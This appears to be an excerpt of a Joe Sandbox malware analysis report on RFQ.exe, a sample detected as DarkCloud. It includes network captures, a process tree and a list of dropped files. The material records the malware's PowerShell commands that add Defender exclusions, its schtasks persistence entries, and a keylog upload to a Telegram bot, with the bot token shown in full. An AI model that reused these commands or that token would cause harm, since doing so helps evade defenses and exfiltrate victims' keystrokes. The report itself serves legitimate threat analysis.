2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:35:06 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:35:06 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:35:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:35:12 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49721	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:35:15 UTC	561	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:35:15 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 74 4f 45 48 4a 51 57 76 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 35 3a 30 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 35 3a 30 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 35 3a 30 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatatOEHJQWv.txt"Content-Type: application/octet-stream[10:35:01]<<Program Manager>>[10:35:02]<<Program Manager>>[10:35:02]<<Program Mana
2025-03-11 14:35:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:35:18 GMT Content-Type: application/json Content-Length: 553 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:35:18 UTC	553	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 37 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28168,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703718,"document":{"file_name":"Key

Target ID:	0
Start time:	10:33:09
Start date:	11/03/2025
Path:	C:\Users\user\Desktop\RFQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RFQ.exe"
Imagebase:	0x170000
File size:	902'144 bytes
MD5 hash:	768BED9843A8A7C96699B27FC40B8819
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:33:10
Start date:	11/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"
Imagebase:	0xe10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:33:10
Start date:	11/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:33:10
Start date:	11/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"
Imagebase:	0xe10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:33:11
Start date:	11/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:33:11
Start date:	11/03/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp"
Imagebase:	0x6b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:33:11
Start date:	11/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:33:11
Start date:	11/03/2025
Path:	C:\Users\user\Desktop\RFQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RFQ.exe"
Imagebase:	0xb50000
File size:	902'144 bytes
MD5 hash:	768BED9843A8A7C96699B27FC40B8819
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:33:12
Start date:	11/03/2025
Path:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
Imagebase:	0x30000
File size:	902'144 bytes
MD5 hash:	768BED9843A8A7C96699B27FC40B8819
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:33:15
Start date:	11/03/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp"
Imagebase:	0x6b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:33:15
Start date:	11/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff642da0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:33:15
Start date:	11/03/2025
Path:	C:\Users\user\AppData\Roaming\wOPQRmK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wOPQRmK.exe"
Imagebase:	0xba0000
File size:	902'144 bytes
MD5 hash:	768BED9843A8A7C96699B27FC40B8819
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:33:42
Start date:	11/03/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7c8b00000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkCloud

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wOPQRmK.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\WBa07284

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52hx5dec.3dj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bxfbpscd.ikj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cu4zldub.luw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jru1cj4k.1xo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4lwvlhh.0ko.psm1

Windows Analysis Report
RFQ.exe